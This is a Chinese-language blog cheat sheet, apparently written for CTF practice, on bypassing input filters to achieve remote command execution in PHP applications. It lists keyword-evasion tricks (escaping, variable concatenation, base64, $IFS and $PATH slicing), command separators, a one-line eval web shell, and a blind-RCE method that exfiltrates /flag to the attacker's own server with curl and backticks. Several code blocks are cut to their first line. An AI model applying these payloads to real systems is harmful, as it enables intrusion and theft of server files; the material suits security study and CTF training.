远程RCE各种绕过姿势-常见
远程RCE各种绕过姿势-常见
什么是远程RCE?
RCE顾名思义就是远程代码执行漏洞,属于高危漏洞,攻击着可以通过网站注入执行系统命令,读取系统敏感信息。
为什么会有此漏洞?
开发者在开发的时候,没有对一些执行命令的函数进行过滤,导致出现用户可以任意执行系统命令。
PHP中的执行命令函数:
1 | PHP 代码执行函数: |
常见的绕过方法
过滤关键字,过滤 cat,flag等关键字
替代法
1 | more:一页一页的显示档案内容 |
(假设该目录下有/flag inedex.php)
1 | cat `ls` |
等同于
1 | cat /flag;cat index.php |
字符转义
1 | ca\t /fl\ag |
例如:
传参法
1 | a=fl;b=ag;cat$IFS$a$b |
拼接:
比如:a=l;b=s;$a$b
利用偶读拼接方法绕过黑名单:a=fl;b=ag;cat $a$b
利用.拼接绕过(sy.(st).em)
使用内敛执行代替system
1 | echo `ls`; |
反引号绕过
1 | ls ----查看flag位置 |
编码绕过
1 | echo 'Y2F0wqAK' | base64 -d /flag |
-d是解码,是base64解码
空格过滤
1 | < 、<>、%20(space)、%09(tab)、$IFS$9、 ${IFS}、$IFS等 |
单引号和双引号绕过
1 | 比如:ca''t flag 或ca""t flag |
利用Shell 特殊变量绕过
1 | 例如,第一个参数是1,第二个参数是2。而参数不存在时其值为空。 |
文件构造
在cmd文件包含中,有一个shell.txt,也就是文件
我们令?file = shell.txt,已知shell.txt内容为
1 | eval($_REQUEST['cmd']); |
request类型是由get
和post
构成的
在post
数据里输入
cmd=system(“ls /“);
一些命令分隔符
linux中:%0a(回车) 、%0d(换行) 、; 、& 、| 、&&、||
windows中:%0a、&、|、%1a(一个神奇的角色,作为.bat文件中的命令分隔符)
过滤目录分割符
1 | 采用多管道命令绕过 |
输入字符串长度限制
1 | # \指的是换行 |
利用$PATH环境变量绕过
1 | echo $PATH |
1 | echo ${PATH:5:1}${PATH:2:1} |
无回显
Shell_exec等无回显函数
方法一、
1、判断是否执行成功我们可以用sleep()
1 | ls;sleep(5); |
用压缩、复制、写shell等方法对其进行绕过(此处要注意权限,看是否有写的权限)没有权限是不能写入的
1 | copy flag 1.txt |
方法二、
用vps建立记录脚本
我们使用自己的服务器写一个 test.php的文件
1 | <?php |
代码的意思就是打开一个/flag的文件并且写入 data
第二步我们开始构造请求
1 | curl http://xxx/test.php?data=`cat /flag` |
有时会读取不全,这里我没碰到,读取不全的话我们可以进行一个编码,如下。
1 | curlhttp://xxx/test.php?data=`cat/flag|base64` |
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Carrotの小窝!